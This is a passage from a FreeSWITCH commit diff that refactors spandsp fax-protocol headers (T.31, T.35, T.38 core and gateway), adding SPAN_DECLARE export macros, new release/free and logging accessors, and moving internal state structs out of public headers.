-void t31_call_event(t31_state_t *s, int event);
+SPAN_DECLARE(void) t31_call_event(t31_state_t *s, int event);
 
-int t31_at_rx(t31_state_t *s, const char *t, int len);
+SPAN_DECLARE(int) t31_at_rx(t31_state_t *s, const char *t, int len);
 
 /*! Process a block of received T.31 modem audio samples.
     \brief Process a block of received T.31 modem audio samples.
@@ -207,8 +67,16 @@
     \param amp The audio sample buffer.
     \param len The number of samples in the buffer.
     \return The number of samples unprocessed. */
-int t31_rx(t31_state_t *s, int16_t amp[], int len);
+SPAN_DECLARE(int) t31_rx(t31_state_t *s, int16_t amp[], int len);
 
+/*! Fake processing of a missing block of received T.31 modem audio samples
+    (e.g due to packet loss).
+    \brief Fake processing of a missing block of received T.31 modem audio samples.
+    \param s The T.31 modem context.
+    \param len The number of samples to fake.
+    \return The number of samples unprocessed. */
+SPAN_DECLARE(int) t31_rx_fillin(t31_state_t *s, int len);
+
 /*! Generate a block of T.31 modem audio samples.
     \brief Generate a block of T.31 modem audio samples.
     \param s The T.31 modem context.
@@ -216,9 +84,9 @@
     \param max_len The number of samples to be generated.
     \return The number of samples actually generated.
 */
-int t31_tx(t31_state_t *s, int16_t amp[], int max_len);
+SPAN_DECLARE(int) t31_tx(t31_state_t *s, int16_t amp[], int max_len);
 
-int t31_t38_send_timeout(t31_state_t *s, int samples);
+SPAN_DECLARE(int) t31_t38_send_timeout(t31_state_t *s, int samples);
 
 /*! Select whether silent audio will be sent when transmit is idle.
     \brief Select whether silent audio will be sent when transmit is idle.
@@ -227,14 +95,14 @@
            idle. FALSE to transmit zero length audio when the transmitter is idle. The default
            behaviour is FALSE.
 */
-void t31_set_transmit_on_idle(t31_state_t *s, int transmit_on_idle);
+SPAN_DECLARE(void) t31_set_transmit_on_idle(t31_state_t *s, int transmit_on_idle);
 
 /*! Select whether TEP mode will be used (or time allowed for it (when transmitting).
     \brief Select whether TEP mode will be used.
     \param s The T.31 modem context.
     \param use_tep TRUE if TEP is to be ised.
 */
-void t31_set_tep_mode(t31_state_t *s, int use_tep);
+SPAN_DECLARE(void) t31_set_tep_mode(t31_state_t *s, int use_tep);
 
 /*! Select whether T.38 data will be paced as it is transmitted.
     \brief Select whether T.38 data will be paced.
@@ -242,8 +110,19 @@
     \param without_pacing TRUE if data is to be sent as fast as possible. FALSE if it is
            to be paced.
 */
-void t31_set_t38_config(t31_state_t *s, int without_pacing);
+SPAN_DECLARE(void) t31_set_t38_config(t31_state_t *s, int without_pacing);
 
+SPAN_DECLARE(void) t31_set_mode(t31_state_t *s, int t38_mode);
+
+/*! Get a pointer to the logging context associated with a T.31 context.
+    \brief Get a pointer to the logging context associated with a T.31 context.
+    \param s The T.31 context.
+    \return A pointer to the logging context, or NULL.
+*/
+SPAN_DECLARE(logging_state_t *) t31_get_logging_state(t31_state_t *s);
+
+SPAN_DECLARE(t38_core_state_t *) t31_get_t38_core_state(t31_state_t *s);
+
 /*! Initialise a T.31 context. This must be called before the first
     use of the context, to initialise its contents.
     \brief Initialise a T.31 context.
@@ -255,20 +134,26 @@
     \param tx_t38_packet_handler ???
     \param tx_t38_packet_user_data ???
     \return A pointer to the T.31 context. */
-t31_state_t *t31_init(t31_state_t *s,
-                      at_tx_handler_t *at_tx_handler,
-                      void *at_tx_user_data,
-                      t31_modem_control_handler_t *modem_control_handler,
-                      void *modem_control_user_data,
-                      t38_tx_packet_handler_t *tx_t38_packet_handler,
-                      void *tx_t38_packet_user_data);
+SPAN_DECLARE(t31_state_t *) t31_init(t31_state_t *s,
+                                     at_tx_handler_t *at_tx_handler,
+                                     void *at_tx_user_data,
+                                     t31_modem_control_handler_t *modem_control_handler,
+                                     void *modem_control_user_data,
+                                     t38_tx_packet_handler_t *tx_t38_packet_handler,
+                                     void *tx_t38_packet_user_data);
 
 /*! Release a T.31 context.
     \brief Release a T.31 context.
     \param s The T.31 context.
     \return 0 for OK */
-int t31_release(t31_state_t *s);
+SPAN_DECLARE(int) t31_release(t31_state_t *s);
 
+/*! Free a T.31 context.
+    \brief Release a T.31 context.
+    \param s The T.31 context.
+    \return 0 for OK */
+SPAN_DECLARE(int) t31_free(t31_state_t *s);
+
 #if defined(__cplusplus)
 }
 #endif

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/t35.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/t35.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/t35.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t35.h,v 1.14 2008/04/17 14:27:00 steveu Exp $
+ * $Id: t35.h,v 1.15 2009/01/31 08:48:11 steveu Exp $
  */
 
 /*! \file */
@@ -63,7 +63,7 @@
            If the model is not identified, NULL will be returned.
     \return TRUE if the machine was identified, otherwise FALSE.
 */
-int t35_decode(const uint8_t *msg, int len, const char **country, const char **vendor, const char **model);
+SPAN_DECLARE(int) t35_decode(const uint8_t *msg, int len, const char **country, const char **vendor, const char **model);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/t38_core.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/t38_core.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/t38_core.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t38_core.h,v 1.29 2008/09/04 14:40:05 steveu Exp $
+ * $Id: t38_core.h,v 1.39 2009/07/14 13:54:22 steveu Exp $
  */
 
 /*! \file */
@@ -160,17 +160,46 @@
     T38_TRANSPORT_TCP
 };
 
+/*! T.38 TCF management types */
+enum t38_data_rate_management_types_e
+{
+    T38_DATA_RATE_MANAGEMENT_LOCAL_TCF = 1,
+    T38_DATA_RATE_MANAGEMENT_TRANSFERRED_TCF = 2
+};
+
+/*! T.38 Packet categories used for setting the redundancy level and packet repeat
+    counts on a packet by packet basis. */
+enum t38_packet_categories_e
+{
+    /*! \brief Indicator packet */
+    T38_PACKET_CATEGORY_INDICATOR = 0,
+    /*! \brief Control data packet */
+    T38_PACKET_CATEGORY_CONTROL_DATA = 1,
+    /*! \brief Terminating control data packet */
+    T38_PACKET_CATEGORY_CONTROL_DATA_END = 2,
+    /*! \brief Image data packet */
+    T38_PACKET_CATEGORY_IMAGE_DATA = 3,
+    /*! \brief Terminating image data packet */
+    T38_PACKET_CATEGORY_IMAGE_DATA_END = 4
+};
+
 #define T38_RX_BUF_LEN  2048
 #define T38_TX_BUF_LEN  16384
 
 /*! T.38 data field */
 typedef struct
 {
+    /*! Field type */
     int field_type;
+    /*! Field contents */
     const uint8_t *field;
+    /*! Field length */
     int field_len;
 } t38_data_field_t;
 
+/*!
+    Core T.38 state, common to all modes of T.38.
+*/
 typedef struct t38_core_state_s t38_core_state_t;
 
 typedef int (t38_tx_packet_handler_t)(t38_core_state_t *s, void *user_data, const uint8_t *buf, int len, int count);
@@ -179,113 +208,6 @@
 typedef int (t38_rx_data_handler_t)(t38_core_state_t *s, void *user_data, int data_type, int field_type, const uint8_t *buf, int len);
 typedef int (t38_rx_missing_handler_t)(t38_core_state_t *s, void *user_data, int rx_seq_no, int expected_seq_no);
 
-/*!
-    Core T.38 state, common to all modes of T.38.
-*/
-struct t38_core_state_s
-{
-    /*! Handler routine to transmit IFP packets generated by the T.38 protocol engine */
-    t38_tx_packet_handler_t *tx_packet_handler;
-    /*! An opaque pointer passed to tx_packet_handler */
-    void *tx_packet_user_data;
-
-    /*! Handler routine to process received indicator packets */
-    t38_rx_indicator_handler_t *rx_indicator_handler;
-    /*! Handler routine to process received data packets */
-    t38_rx_data_handler_t *rx_data_handler;
-    /*! Handler routine to process the missing packet condition */
-    t38_rx_missing_handler_t *rx_missing_handler;
-    /*! An opaque pointer passed to any of the above receive handling routines */
-    void *rx_user_data;
-
-    /*! NOTE - Bandwidth reduction shall only be done on suitable Phase C data, i.e., MH, MR
-        and - in the case of transcoding to JBIG - MMR. MMR and JBIG require reliable data
-        transport such as that provided by TCP. When transcoding is selected, it shall be
-        applied to every suitable page in a call. */
-
-    /*! Method 1: Local generation of TCF (required for use with TCP).
-        Method 2: Transfer of TCF is required for use with UDP (UDPTL or RTP).
-        Method 2 is not recommended for use with TCP. */
-    int data_rate_management_method;
-    
-    /*! The emitting gateway may indicate a preference for either UDP/UDPTL, or
-        UDP/RTP, or TCP for transport of T.38 IFP Packets. The receiving device
-        selects the transport protocol. */
-    int data_transport_protocol;
-
-    /*! Indicates the capability to remove and insert fill bits in Phase C, non-ECM
-        data to reduce bandwidth in the packet network. */
-    int fill_bit_removal;
-
-    /*! Indicates the ability to convert to/from MMR from/to the line format to
-        improve the compression of the data, and reduce the bandwidth, in the
-        packet network. */
-    int mmr_transcoding;
-
-    /*! Indicates the ability to convert to/from JBIG to reduce bandwidth. */
-    int jbig_transcoding;
-
-    /*! For UDP (UDPTL or RTP) modes, this option indicates the maximum
-        number of octets that can be stored on the remote device before an overflow
-        condition occurs. It is the responsibility of the transmitting application to
-        limit the transfer rate to prevent an overflow. The negotiated data rate
-        should be used to determine the rate at which data is being removed from
-        the buffer. */
-    int max_buffer_size;
-
-    /*! This option indicates the maximum size of a UDPTL packet or the
-        maximum size of the payload within an RTP packet that can be accepted by
-        the remote device. */
-    int max_datagram_size;
-
-    /*! This is the version number of ITU-T Rec. T.38. New versions shall be
-        compatible with previous versions. */
-    int t38_version;
-
-    /*! The fastest data rate supported by the T.38 channel. */
-    int fastest_image_data_rate;
-
-    /*! \brief The number of times an indicator packet will be sent. Numbers greater than one
-               will increase reliability for UDP transmission. Zero is valid, to suppress all
-               indicator packets for TCP transmission. */
-    int indicator_tx_count;
-
-    /*! \brief The number of times a data packet which does not end transmission will be sent.
-               Numbers greater than one will increase reliability for UDP transmission. Zero
-               is not valid. */
-    int data_tx_count;
-
-    /*! \brief The number of times a data packet which ends transmission will be sent. Numbers
-               greater than one will increase reliability for UDP transmission. Zero is not valid. */
-    int data_end_tx_count;
-
-    /*! TRUE if IFP packet sequence numbers are relevant. For some transports, like TPKT
-        over TCP they are not relevent. */
-    int check_sequence_numbers;
-
-    /*! The sequence number for the next packet to be transmitted */
-    int tx_seq_no;
-    /*! The sequence number expected in the next received packet */
-    int rx_expected_seq_no;
-
-    /*! The current receive indicator - i.e. the last indicator received */
-    int current_rx_indicator;
-    /*! The current receive data type - i.e. the last data type received */
-    int current_rx_data_type;
-    /*! The current receive field type - i.e. the last field_type received */
-    int current_rx_field_type;
-    /*! The current transmit indicator - i.e. the last indicator transmitted */
-    int current_tx_indicator;
-    /*! The bit rate for V.34 operation */
-    int v34_rate;
-
-    /*! A count of missing receive packets. This count might not be accurate if the
-        received packet numbers jump wildly. */
-    int missing_packets;
-
-    logging_state_t logging;
-};
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -294,60 +216,65 @@
 /*! \brief Convert the code for an indicator to a short text name.
     \param indicator The type of indicator.
     \return A pointer to a short text name for the indicator. */
-const char *t38_indicator_to_str(int indicator);
+SPAN_DECLARE(const char *) t38_indicator_to_str(int indicator);
 
 /*! \brief Convert the code for a type of data to a short text name.
     \param data_type The data type.
     \return A pointer to a short text name for the data type. */
-const char *t38_data_type_to_str(int data_type);
+SPAN_DECLARE(const char *) t38_data_type_to_str(int data_type);
 
 /*! \brief Convert the code for a type of data field to a short text name.
     \param field_type The field type.
     \return A pointer to a short text name for the field type. */
-const char *t38_field_type_to_str(int field_type);
+SPAN_DECLARE(const char *) t38_field_type_to_str(int field_type);
 
 /*! \brief Convert the code for a CM profile code to text description.
     \param profile The profile code from a CM message.
     \return A pointer to a short text description of the profile. */
-const char *t38_cm_profile_to_str(int profile);
+SPAN_DECLARE(const char *) t38_cm_profile_to_str(int profile);
 
 /*! \brief Convert a JM message code to text description.
     \param data The data field of the message.
     \param len The length of the data field.
     \return A pointer to a short text description of the profile. */
-const char *t38_jm_to_str(const uint8_t *data, int len);
+SPAN_DECLARE(const char *) t38_jm_to_str(const uint8_t *data, int len);
 
 /*! \brief Convert a V34rate message to an actual bit rate.
     \param data The data field of the message.
     \param len The length of the data field.
     \return The bit rate, or -1 for a bad message. */
-int t38_v34rate_to_bps(const uint8_t *data, int len);
+SPAN_DECLARE(int) t38_v34rate_to_bps(const uint8_t *data, int len);
 
 /*! \brief Send an indicator packet
     \param s The T.38 context.
     \param indicator The indicator to send.
-    \param count The number of copies of the packet to send.
-    \return ??? */
-int t38_core_send_indicator(t38_core_state_t *s, int indicator, int count);
+    \return The delay to allow after this indicator is sent. */
+SPAN_DECLARE(int) t38_core_send_indicator(t38_core_state_t *s, int indicator);
 
+/*! \brief Find the delay to allow for HDLC flags after sending an indicator
+    \param s The T.38 context.
+    \param indicator The indicator to send.
+    \return The delay to allow for initial HDLC flags after this indicator is sent. */
+SPAN_DECLARE(int) t38_core_send_flags_delay(t38_core_state_t *s, int indicator);
+
 /*! \brief Send a data packet
     \param s The T.38 context.
     \param data_type The packet's data type.
     \param field_type The packet's field type.
     \param field The message data content for the packet.
     \param field_len The length of the message data, in bytes.
-    \param count The number of copies of the packet to send.
+    \param category The category of the packet being sent. This should be one of the values defined for t38_packet_categories_e.
     \return ??? */
-int t38_core_send_data(t38_core_state_t *s, int data_type, int field_type, const uint8_t field[], int field_len, int count);
+SPAN_DECLARE(int) t38_core_send_data(t38_core_state_t *s, int data_type, int field_type, const uint8_t field[], int field_len, int category);
 
 /*! \brief Send a data packet
     \param s The T.38 context.
     \param data_type The packet's data type.
     \param field The list of fields.
     \param fields The number of fields in the list.
-    \param count The number of copies of the packet to send.
+    \param category The category of the packet being sent. This should be one of the values defined for t38_packet_categories_e.
     \return ??? */
-int t38_core_send_data_multi_field(t38_core_state_t *s, int data_type, const t38_data_field_t field[], int fields, int count);
+SPAN_DECLARE(int) t38_core_send_data_multi_field(t38_core_state_t *s, int data_type, const t38_data_field_t field[], int fields, int category);
 
 /*! \brief Process a received T.38 IFP packet.
     \param s The T.38 context.
@@ -355,65 +282,119 @@
     \param len The length of the packet contents.
     \param seq_no The packet sequence number.
     \return 0 for OK, else -1. */
-int t38_core_rx_ifp_packet(t38_core_state_t *s, const uint8_t *buf, int len, uint16_t seq_no);
+SPAN_DECLARE(int) t38_core_rx_ifp_packet(t38_core_state_t *s, const uint8_t *buf, int len, uint16_t seq_no);
 
 /*! Set the method to be used for data rate management, as per the T.38 spec.
     \param s The T.38 context.
     \param method 1 for pass TCF across the T.38 link, 2 for handle TCF locally.
 */
-void t38_set_data_rate_management_method(t38_core_state_t *s, int method);
+SPAN_DECLARE(void) t38_set_data_rate_management_method(t38_core_state_t *s, int method);
 
 /*! Set the data transport protocol.
     \param s The T.38 context.
     \param data_transport_protocol UDPTL, RTP or TPKT.
 */
-void t38_set_data_transport_protocol(t38_core_state_t *s, int data_transport_protocol);
+SPAN_DECLARE(void) t38_set_data_transport_protocol(t38_core_state_t *s, int data_transport_protocol);
 
 /*! Set the non-ECM fill bit removal mode.
     \param s The T.38 context.
     \param fill_bit_removal TRUE to remove fill bits across the T.38 link, else FALSE.
 */
-void t38_set_fill_bit_removal(t38_core_state_t *s, int fill_bit_removal);
+SPAN_DECLARE(void) t38_set_fill_bit_removal(t38_core_state_t *s, int fill_bit_removal);
 
 /*! Set the MMR transcoding mode.
     \param s The T.38 context.
     \param mmr_transcoding TRUE to transcode to MMR across the T.38 link, else FALSE.
 */
-void t38_set_mmr_transcoding(t38_core_state_t *s, int mmr_transcoding);
+SPAN_DECLARE(void) t38_set_mmr_transcoding(t38_core_state_t *s, int mmr_transcoding);
 
 /*! Set the JBIG transcoding mode.
     \param s The T.38 context.
     \param jbig_transcoding TRUE to transcode to JBIG across the T.38 link, else FALSE.
 */
-void t38_set_jbig_transcoding(t38_core_state_t *s, int jbig_transcoding);
+SPAN_DECLARE(void) t38_set_jbig_transcoding(t38_core_state_t *s, int jbig_transcoding);
 
-void t38_set_max_buffer_size(t38_core_state_t *s, int max_buffer_size);
+/*! Set the maximum buffer size for received data at the far end.
+    \param s The T.38 context.
+    \param max_buffer_size The maximum buffer size.
+*/
+SPAN_DECLARE(void) t38_set_max_buffer_size(t38_core_state_t *s, int max_buffer_size);
 
-void t38_set_max_datagram_size(t38_core_state_t *s, int max_datagram_size);
+/*! Set the maximum size of an IFP packet that is acceptable by the far end.
+    \param s The T.38 context.
+    \param max_datagram_size The maximum IFP packet length, in bytes.
+*/
+SPAN_DECLARE(void) t38_set_max_datagram_size(t38_core_state_t *s, int max_datagram_size);
 
-int t38_get_fastest_image_data_rate(t38_core_state_t *s);
+/*! \brief Send a data packet
+    \param s The T.38 context.
+    \param category The category of the packet being sent. This should be one of the values defined for t38_packet_categories_e.
+    \param setting The repeat count for the category. This should be at least one for all categories other an indicator packets.
+                   Zero is valid for indicator packets, as it suppresses the sending of indicator packets, as an application using
+                   TCP for the transport would require. As the setting is passed through to the transmission channel, additional
+                   information may be encoded in it, such as the redundancy depth for the particular packet category. */
+SPAN_DECLARE(void) t38_set_redundancy_control(t38_core_state_t *s, int category, int setting);
 
+SPAN_DECLARE(void) t38_set_fastest_image_data_rate(t38_core_state_t *s, int max_rate);
+
+SPAN_DECLARE(int) t38_get_fastest_image_data_rate(t38_core_state_t *s);
+
 /*! Set the T.38 version to be emulated.
     \param s The T.38 context.
     \param t38_version Version number, as in the T.38 spec.
 */
-void t38_set_t38_version(t38_core_state_t *s, int t38_version);
+SPAN_DECLARE(void) t38_set_t38_version(t38_core_state_t *s, int t38_version);
 
-/* Set the sequence number handling option.
+/*! Set the sequence number handling option.
     \param s The T.38 context.
     \param check TRUE to check sequence numbers, and handle gaps reasonably. FALSE
            for no sequence number processing (e.g. for TPKT over TCP transport).
 */
-void t38_set_sequence_number_handling(t38_core_state_t *s, int check);
+SPAN_DECLARE(void) t38_set_sequence_number_handling(t38_core_state_t *s, int check);
 
-t38_core_state_t *t38_core_init(t38_core_state_t *s,
-                                t38_rx_indicator_handler_t *rx_indicator_handler,
-                                t38_rx_data_handler_t *rx_data_handler,
-                                t38_rx_missing_handler_t *rx_missing_handler,
-                                void *rx_user_data,
-                                t38_tx_packet_handler_t tx_packet_handler,
-                                void *tx_packet_user_data);
+/*! Set the TEP handling option.
+    \param s The T.38 context.
+    \param allow_for_tep TRUE to allow for TEP playout, else FALSE.
+*/
+SPAN_DECLARE(void) t38_set_tep_handling(t38_core_state_t *s, int allow_for_tep);
 
+/*! Get a pointer to the logging context associated with a T.38 context.
+    \brief Get a pointer to the logging context associated with a T.38 context.
+    \param s The T.38 context.
+    \return A pointer to the logging context, or NULL.
+*/
+SPAN_DECLARE(logging_state_t *) t38_core_get_logging_state(t38_core_state_t *s);
+
+/*! Initialise a T.38 core context.
+    \brief Initialise a T.38 core context.
+    \param s The T.38 context.
+    \param rx_indicator_handler Receive indicator handling routine.
+    \param rx_data_handler Receive data packet handling routine.
+    \param rx_rx_missing_handler Missing receive packet handling routine.
+    \param rx_packet_user_data An opaque pointer passed to the rx packet handling routines.
+    \param tx_packet_handler Packet transmit handling routine.
+    \param tx_packet_user_data An opaque pointer passed to the tx_packet_handler.
+    \return A pointer to the T.38 context, or NULL if there was a problem. */
+SPAN_DECLARE(t38_core_state_t *) t38_core_init(t38_core_state_t *s,
+                                               t38_rx_indicator_handler_t *rx_indicator_handler,
+                                               t38_rx_data_handler_t *rx_data_handler,
+                                               t38_rx_missing_handler_t *rx_missing_handler,
+                                               void *rx_user_data,
+                                               t38_tx_packet_handler_t *tx_packet_handler,
+                                               void *tx_packet_user_data);
+
+/*! Release a signaling tone transmitter context.
+    \brief Release a signaling tone transmitter context.
+    \param s The T.38 context.
+    \return 0 for OK */
+SPAN_DECLARE(int) t38_core_release(t38_core_state_t *s);
+
+/*! Free a signaling tone transmitter context.
+    \brief Free a signaling tone transmitter context.
+    \param s The T.38 context.
+    \return 0 for OK */
+SPAN_DECLARE(int) t38_core_free(t38_core_state_t *s);
+
 #if defined(__cplusplus)
 }
 #endif

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/t38_gateway.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/t38_gateway.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/t38_gateway.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t38_gateway.h,v 1.57 2008/09/02 13:56:10 steveu Exp $
+ * $Id: t38_gateway.h,v 1.63 2009/04/12 09:12:10 steveu Exp $
  */
 
 /*! \file */
@@ -40,9 +40,11 @@
 \section t38_gateway_page_sec_2 How does it work?
 */
 
+/*! The receive buffer length */
 #define T38_RX_BUF_LEN          2048
+/*! The number of HDLC transmit buffers */
 #define T38_TX_HDLC_BUFS        256
-/* Make sure the HDLC frame buffers are big enough for ECM frames. */
+/*! The maximum length of an HDLC frame buffer. This must be big enough for ECM frames. */
 #define T38_MAX_HDLC_LEN        260
 
 typedef struct t38_gateway_state_s t38_gateway_state_t;
@@ -63,168 +65,10 @@
                                                      int len);
 
 /*!
-    T.38 gateway T.38 side channel descriptor.
-*/
+    T.38 gateway results.
+ */
 typedef struct
 {
-    /*! Core T.38 IFP support */
-    t38_core_state_t t38;
-
-    /*! \brief TRUE if the NSF, NSC, and NSS are to be suppressed by altering
-               their contents to something the far end will not recognise. */
-    int suppress_nsx_len[2];
-    /*! \brief TRUE if we need to corrupt the HDLC frame in progress, so the receiver cannot
-               interpret it. The two values are for the two directions. */
-    int corrupt_current_frame[2];
-
-    /*! \brief the current class of field being received - i.e. none, non-ECM or HDLC */
-    int current_rx_field_class;
-    /*! \brief The T.38 indicator currently in use */
-    int in_progress_rx_indicator;
-
-    /*! \brief The current T.38 data type being sent. */
-    int current_tx_data_type;
-} t38_gateway_t38_state_t;
-
-/*!
-    T.38 gateway audio side channel descriptor.
-*/
-typedef struct
-{
-    fax_modems_state_t modems;
-    /*! \brief The current receive signal handler. Actual receiving hop between this
-               and a dummy receive routine. */
-    span_rx_handler_t *base_rx_handler;
-} t38_gateway_audio_state_t;
-
-typedef struct
-{
-    /*! \brief non-ECM and HDLC modem receive data buffer. */
-    uint8_t data[T38_RX_BUF_LEN];
-    /*! \brief Current pointer into the data buffer. */
-    int data_ptr;
-    /*! \brief The current octet being received as non-ECM data. */
-    unsigned int bit_stream;
-    /*! \brief The number of bits taken from the modem for the current scan row. This
-               is used during non-ECM transmission will fill bit removal to see that
-               T.38 packet transmissions do not stretch too far apart. */
-    int bits_absorbed;
-    /*! \brief The current bit number in the current non-ECM octet. */
-    int bit_no;
-    /*! \brief Progressively calculated CRC for HDLC messages received from a modem. */
-    uint16_t crc;
-    /*! \brief TRUE if non-ECM fill bits are to be stripped when sending image data. */
-    int fill_bit_removal;
-    /*! \brief The number of octets to send in each image packet (non-ECM or ECM) at the current
-               rate and the current specified packet interval. */
-    int octets_per_data_packet;
-
-    int in_bits;
-    int out_octets;
-} t38_gateway_to_t38_state_t;
-
-typedef struct
-{
-    /*! \brief HDLC message buffers. */
-    uint8_t buf[T38_MAX_HDLC_LEN];
-    /*! \brief HDLC message lengths. */
-    int len;
-    /*! \brief HDLC message status flags. */
-    int flags;
-    /*! \brief HDLC buffer contents. */
-    int contents;
-} t38_gateway_hdlc_buf_t;
-
-typedef struct
-{
-    /*! \brief HDLC message buffers. */
-    t38_gateway_hdlc_buf_t buf[T38_TX_HDLC_BUFS];
-#if 0
-    /*! \brief HDLC message buffers. */
-    uint8_t buf[T38_TX_HDLC_BUFS][T38_MAX_HDLC_LEN];
-    /*! \brief HDLC message lengths. */
-    int len[T38_TX_HDLC_BUFS];
-    /*! \brief HDLC message status flags. */
-    int flags[T38_TX_HDLC_BUFS];
-    /*! \brief HDLC buffer contents. */
-    int contents[T38_TX_HDLC_BUFS];
-#endif
-    /*! \brief HDLC buffer number for input. */
-    int in;
-    /*! \brief HDLC buffer number for output. */
-    int out;
-} t38_gateway_hdlc_state_t;
-
-/*!
-    T.38 gateway core descriptor.
-*/
-typedef struct
-{
-    /*! \brief A bit mask of the currently supported modem types. */
-    int supported_modems;
-    /*! \brief TRUE if ECM FAX mode is allowed through the gateway. */
-    int ecm_allowed;
-
-    /*! \brief TRUE if in image data modem is to use short training. This usually
-               follows image_data_mode, but in ECM mode T.30 defines recovery
-               conditions in which long training is used for image data. */
-    int short_train;
-    /*! \brief TRUE if in image data mode, as opposed to TCF mode. */
-    int image_data_mode;
-    /*! \brief The minimum permitted bits per FAX scan line row. */
-    int min_row_bits;
-
-    /*! \brief TRUE if we should count the next MCF as a page end, else FALSE */
-    int count_page_on_mcf;
-    /*! \brief The number of pages for which a confirm (MCF) message was returned. */
-    int pages_confirmed;
-
-    /*! \brief TRUE if we are in error correcting (ECM) mode */
-    int ecm_mode;
-    /*! \brief The current bit rate for the fast modem. */
-    int fast_bit_rate;
-    /*! \brief The current fast modem type. */
-    int fast_modem;
-    /*! \brief The type of fast receive modem currently active, which may be T38_NONE */
-    int fast_rx_active;
-
-    /*! \brief TRUE if between DCS and TCF, and we want the fast image modem to
-               start in the T.38 data at a predictable time from the end of the
-               V.21 signal. */
-    int tcf_mode_predictable_modem_start;
-
-    /*! \brief The number of samples until the next timeout event */
-    int samples_to_timeout;
-
-    /*! Buffer for HDLC and non-ECM data going to the T.38 channel */
-    t38_gateway_to_t38_state_t to_t38;
-    /*! Buffer for data going to an HDLC modem. */
-    t38_gateway_hdlc_state_t hdlc_to_modem;
-    /*! Buffer for data going to a non-ECM mode modem. */
-    t38_non_ecm_buffer_state_t non_ecm_to_modem;
-
-    /*! \brief A pointer to a callback routine to be called when frames are
-        exchanged. */
-    t38_gateway_real_time_frame_handler_t *real_time_frame_handler;
-    /*! \brief An opaque pointer supplied in real time frame callbacks. */
-    void *real_time_frame_user_data;
-} t38_gateway_core_state_t;
-
-/*!
-    T.38 gateway state.
-*/
-struct t38_gateway_state_s
-{
-    t38_gateway_t38_state_t t38x;
-    t38_gateway_audio_state_t audio;
-    t38_gateway_core_state_t core;
-
-    /*! \brief Error and flow logging control */
-    logging_state_t logging;
-};
-
-typedef struct
-{
     /*! \brief The current bit rate for image transfer. */
     int bit_rate;
     /*! \brief TRUE if error correcting mode is used. */
@@ -243,15 +87,21 @@
     \param tx_packet_handler A callback routine to encapsulate and transmit T.38 packets.
     \param tx_packet_user_data An opaque pointer passed to the tx_packet_handler routine.
     \return A pointer to the termination mode T.38 context, or NULL if there was a problem. */
-t38_gateway_state_t *t38_gateway_init(t38_gateway_state_t *s,
-                                      t38_tx_packet_handler_t *tx_packet_handler,
-                                      void *tx_packet_user_data);
+SPAN_DECLARE(t38_gateway_state_t *) t38_gateway_init(t38_gateway_state_t *s,
+                                                     t38_tx_packet_handler_t *tx_packet_handler,
+                                                     void *tx_packet_user_data);
 
+/*! Release a gateway mode T.38 context.
+    \brief Release a T.38 context.
+    \param s The T.38 context.
+    \return 0 for OK, else -1. */
+SPAN_DECLARE(int) t38_gateway_release(t38_gateway_state_t *s);
+
 /*! Free a gateway mode T.38 context.
     \brief Free a T.38 context.
     \param s The T.38 context.
     \return 0 for OK, else -1. */
-int t38_gateway_free(t38_gateway_state_t *s);
+SPAN_DECLARE(int) t38_gateway_free(t38_gateway_state_t *s);
 
 /*! Process a block of received FAX audio samples.
     \brief Process a block of received FAX audio samples.
@@ -259,7 +109,7 @@
     \param amp The audio sample buffer.
     \param len The number of samples in the buffer.
     \return The number of samples unprocessed. */
-int t38_gateway_rx(t38_gateway_state_t *s, int16_t amp[], int len);
+SPAN_DECLARE(int) t38_gateway_rx(t38_gateway_state_t *s, int16_t amp[], int len);
 
 /*! Generate a block of FAX audio samples.
     \brief Generate a block of FAX audio samples.
@@ -268,14 +118,14 @@
     \param max_len The number of samples to be generated.
     \return The number of samples actually generated.
 */
-int t38_gateway_tx(t38_gateway_state_t *s, int16_t amp[], int max_len);
+SPAN_DECLARE(int) t38_gateway_tx(t38_gateway_state_t *s, int16_t amp[], int max_len);
 
 /*! Control whether error correcting mode (ECM) is allowed.
     \brief Control whether error correcting mode (ECM) is allowed.
     \param s The T.38 context.
     \param ecm_allowed TRUE is ECM is to be allowed.
 */
-void t38_gateway_set_ecm_capability(t38_gateway_state_t *s, int ecm_allowed);
+SPAN_DECLARE(void) t38_gateway_set_ecm_capability(t38_gateway_state_t *s, int ecm_allowed);
 
 /*! Select whether silent audio will be sent when transmit is idle.
     \brief Select whether silent audio will be sent when transmit is idle.
@@ -284,14 +134,14 @@
            idle. FALSE to transmit zero length audio when the FAX transmitter is idle. The default
            behaviour is FALSE.
 */
-void t38_gateway_set_transmit_on_idle(t38_gateway_state_t *s, int transmit_on_idle);
+SPAN_DECLARE(void) t38_gateway_set_transmit_on_idle(t38_gateway_state_t *s, int transmit_on_idle);
 
 /*! Specify which modem types are supported by a T.30 context.
     \brief Specify supported modems.
     \param s The T.38 context.
     \param supported_modems Bit field list of the supported modems.
 */
-void t38_gateway_set_supported_modems(t38_gateway_state_t *s, int supported_modems);
+SPAN_DECLARE(void) t38_gateway_set_supported_modems(t38_gateway_state_t *s, int supported_modems);
 
 /*! Select whether NSC, NSF, and NSS should be suppressed. It selected, the contents of
     these messages are forced to zero for all octets beyond the message type. This makes
@@ -305,41 +155,57 @@
            frames passing through the gateway from the modem to T.38.
